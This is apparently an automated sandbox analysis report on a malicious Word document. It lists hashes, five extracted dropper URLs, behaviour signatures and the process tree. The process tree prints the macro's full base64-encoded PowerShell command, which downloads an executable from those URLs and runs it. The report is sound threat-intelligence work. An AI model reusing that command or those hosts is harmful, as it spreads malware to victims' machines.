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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10/05/2024, 01:08

General

  • Target

    2c99275ab5366567f8ddb005b1347e58_JaffaCakes118.doc

  • Size

    232KB

  • MD5

    2c99275ab5366567f8ddb005b1347e58

  • SHA1

    1eba4b2478789e30b11cb3c01abe51a83c3b87ab

  • SHA256

    b5ced3fd9b5203a48e44f9df4cb09216c9527f2bdae51b0d7ee1a53e51c12350

  • SHA512

    589a5bf6cf0be6e65ab1b504b78d2df20d7b7f79406e261e82e83bdc8f6e13e4f37cdf81d621da5a0b3e3a27a77ede52586beb35419ca287c6b97f55510b575f

  • SSDEEP

    3072:Aj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkpS2FpTw2yDRj:AHgtEWPsL/aTyT9GkQ2rTw2yDRj

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://rochelldiy.com/ucigm/d_8_kv/

exe.dropper

http://sh.m.sxhpyy.com/special/c_eh6r_m97/

exe.dropper

http://hx.sxheping120.com/zt/ixq_vc2ru_xv6/

exe.dropper

http://tf.sxhpyy120.com/a/k_q_wc6o2/

exe.dropper

http://selectadrive.nl/wp-admin/ek_yve_bgtxm/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2c99275ab5366567f8ddb005b1347e58_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2812
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABCAHIANQA3AGwAawBrAD0AJwBHAGoAZgBwAHoAdwBpACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABlAEMAVQBgAFIAaQBgAFQAWQBwAHIAbwBgAFQAbwBDAGAATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgB4AHYAagBoAF8AZQAgAD0AIAAnAEUAYgB5AHoAJwA7ACQATAAwAGIAbQB1AG0AdQA9ACcARwBkAGUAZwAxAHcAZAAnADsAJABBAGsAdABnADUAcQB1AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQARgB4AHYAagBoAF8AZQArACcALgBlAHgAZQAnADsAJABWAGQAdwAyAF8AYwA5AD0AJwBIAGUAZwB4AG8AbwBoACcAOwAkAFYAYQA2AGIAcgA5AGYAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AVwBlAGIAQwBMAGkAZQBuAHQAOwAkAFUAZQBoADMAagA1AG0APQAnAGgAdAB0AHAAOgAvAC8AcgBvAGMAaABlAGwAbABkAGkAeQAuAGMAbwBtAC8AdQBjAGkAZwBtAC8AZABfADgAXwBrAHYALwAqAGgAdAB0AHAAOgAvAC8AcwBoAC4AbQAuAHMAeABoAHAAeQB5AC4AYwBvAG0ALwBzAHAAZQBjAGkAYQBsAC8AYwBfAGUAaAA2AHIAXwBtADkANwAvACoAaAB0AHQAcAA6AC8ALwBoAHgALgBzAHgAaABlAHAAaQBuAGcAMQAyADAALgBjAG8AbQAvAHoAdAAvAGkAeABxAF8AdgBjADIAcgB1AF8AeAB2ADYALwAqAGgAdAB0AHAAOgAvAC8AdABmAC4AcwB4AGgAcAB5AHkAMQAyADAALgBjAG8AbQAvAGEALwBrAF8AcQBfAHcAYwA2AG8AMgAvACoAaAB0AHQAcAA6AC8ALwBzAGUAbABlAGMAdABhAGQAcgBpAHYAZQAuAG4AbAAvAHcAcAAtAGEAZABtAGkAbgAvAGUAawBfAHkAdgBlAF8AYgBnAHQAeABtAC8AJwAuACIAUwBgAFAATABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABaADkANABkAHAAcgBtAD0AJwBUAHkAaABmAGYAXwAxACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADUANgBmAG0AeQAwACAAaQBuACAAJABVAGUAaAAzAGoANQBtACkAewB0AHIAeQB7ACQAVgBhADYAYgByADkAZgAuACIAZABPAFcATgBsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQANQA2AGYAbQB5ADAALAAgACQAQQBrAHQAZwA1AHEAdQApADsAJABOAG0AbQAwAG0AaQBoAD0AJwBBAHEAYgBwAGYAOABpACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAQQBrAHQAZwA1AHEAdQApAC4AIgBsAGAARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMwA2ADgANQA1ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEEAawB0AGcANQBxAHUAKQA7ACQAVgBnADMANABhAHEAbgA9ACcAUABhAG0ANgA0AHAAbQAnADsAYgByAGUAYQBrADsAJABDAGUAYwBjAGoAMAAyAD0AJwBMAGQAXwBxADgANgA1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAawBsADQAMABqAHMAPQAnAFoAaAAxAGkANgB0AGkAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      139f0d22f696243cb54b7be2b7cccc46

      SHA1

      9ca7d0bb082571bfac30f14ca52fda98eec63063

      SHA256

      8e7b9495bdbd02e9a62a757a1d30e63b49cb17fe9c367e259c2a2a5b42dd9b4a

      SHA512

      dce431adc9fdfac3c5331af70b0cd9791b2520e137dbe4ab3c8cb67e33570b4b3807a5f5d94c5a3cca66239fbdf5c1470145a2ec13d5ff0bf9ea3774960570d2

    • memory/2080-27-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-47-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2080-6-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2080-7-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2080-8-0x0000000005D80000-0x0000000005E80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-9-0x00000000004A0000-0x00000000005A0000-memory.dmp

      Filesize

      1024KB

    • memory/2080-18-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-0-0x000000002F071000-0x000000002F072000-memory.dmp

      Filesize

      4KB

    • memory/2080-2-0x00000000716DD000-0x00000000716E8000-memory.dmp

      Filesize

      44KB

    • memory/2080-66-0x00000000716DD000-0x00000000716E8000-memory.dmp

      Filesize

      44KB

    • memory/2080-37-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2080-46-0x00000000716DD000-0x00000000716E8000-memory.dmp

      Filesize

      44KB

    • memory/2080-36-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-48-0x0000000005C80000-0x0000000005D80000-memory.dmp

      Filesize

      1024KB

    • memory/2080-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2680-44-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

      Filesize

      32KB

    • memory/2680-43-0x000000001B780000-0x000000001BA62000-memory.dmp

      Filesize

      2.9MB